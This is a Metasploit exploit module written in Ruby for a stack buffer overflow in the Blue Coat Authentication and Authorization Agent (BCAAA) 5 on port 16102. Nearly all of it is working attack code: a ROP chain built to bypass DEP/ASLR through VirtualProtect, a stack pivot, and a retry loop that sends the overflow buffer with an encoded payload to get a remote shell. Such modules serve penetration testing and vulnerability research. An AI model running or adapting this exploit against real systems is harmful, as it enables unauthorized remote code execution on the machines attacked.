##
# $Id: bcaaa_bof.rb 13137 2011-07-09 04:10:52Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow",
			'Description'    => %q{
					This module exploits a stack buffer overflow in process bcaaa-130.exe (port 16102),
				which comes as part of the Blue Coat Authentication proxy.  Please note that by default,
				this exploit will attempt up to three times in order to successfully gain remote code
				execution (in some cases, it takes as many as five times).  This can cause your activity
				to look even more suspicious.  To modify the number of exploit attempts, set the
				ATTEMPTS option.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 13137 $",
			'Author'         =>
				[
					'Paul Harrington', # Initial discovery and PoC
					'Travis Warren',   # MSF Module with Universal DEP/ASLR bypass
					'sinn3r',          # More testing / reliability, plus minor changes
				],
			'References'     =>
				[
					[ 'URL', 'https://kb.bluecoat.com/index?page=content&id=SA55' ],
					[ 'URL', 'http://seclists.org/bugtraq/2011/Jul/44' ],
				],
			'Payload'        =>
				{
					'Space'    => 936,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'BCAAA Version 5.4.6.1.54128', {} ],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 4 2011",
			'DefaultTarget'  => 0))

			register_options(
				[
					Opt::RPORT(16102),
					OptInt.new("ATTEMPTS", [true, "Number of attempts to try to exploit", 3]),
				], self.class)
	end
	
	def junk
		return rand_text(4).unpack("L")[0].to_i
	end

	def exploit

		rop_gadgets = [
			# rop chain generated with mona.py
			0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
			0x7c37a140,  # Make EAX readable
			0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
			junk,        # EBP (filler)
			0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
			0x7c37a140,  # <- *&VirtualProtect()
			0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
			0x7c346c0b,  # Slide, so next gadget would write to correct stack location
			0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
			junk,        # EDI (filler)
			junk,        # will be patched at runtime (VP), then picked up into ESI
			junk,        # EBX (filler)
			0x7c376402,  # POP EBP # RETN (msvcr71.dll)
			0x7c345c30,  # ptr to 'push esp #  ret ' (from MSVCR71.dll)
			0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
			0xfffffdff,  # size 0x00000201 -> ebx, modify if needed
			0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
			0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
			0xffffffff,  # pop value into ebx
			0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
			0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
			0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
			0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
			0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
			0x7c34b8d8,  # ROP NOP (-> edi)
			0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
			0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
			0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
			0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
			0x90909090,  # NOPS (-> eax)
			0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
		].pack("V*")

		pivot = [
			0x7C3410C4,  # RETN (MSVCR71.dll)
			0x1003800C,  # PUSH ESP; POP EBX; POP EBP; RETN (SmAgentAPI.dll)
			0x4241467D,  # EBP
			0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
			0x7C3417D2,  # SUB EAX,EAX; RETN (MSVCR71.dll)
			0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
			0x7C34f6C2,  # MOV EAX, EBX; POP EBX; RETN (MSVCR71.dll)
			junk,        # EBX
			0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
			0x5D02D0A0,  # SUB EBP,EAX; RETN (MSVCR70.dll)
			0x7C3C8937,  # XCHG EAX,EBP; RETN (MSVCP71.dll)
			0x7C3B5080,  # XCHG EAX,ESP; RETN (MSVCP71.dll)
		].pack("V*")

		attempts = datastore['ATTEMPTS']

		#Sometimes a few attempts are needed to get a shell back (3 or 5 times)
		attempts.times do |i|
			#If we have a session on the box already, then we don't continue trying
			break if session_created?
			buffer =  rand_text(8)
			buffer << rop_gadgets
			buffer << payload.encoded
			buffer << 'EBAB'
			buffer << rand_text(8)
			buffer << pivot

			connect
			print_status("Sending request to #{rhost}. Attempt ##{(i+1).to_s}...")
			sock.put(buffer)
			handler
			select(nil, nil, nil, 2)
			disconnect
		end
	end
end
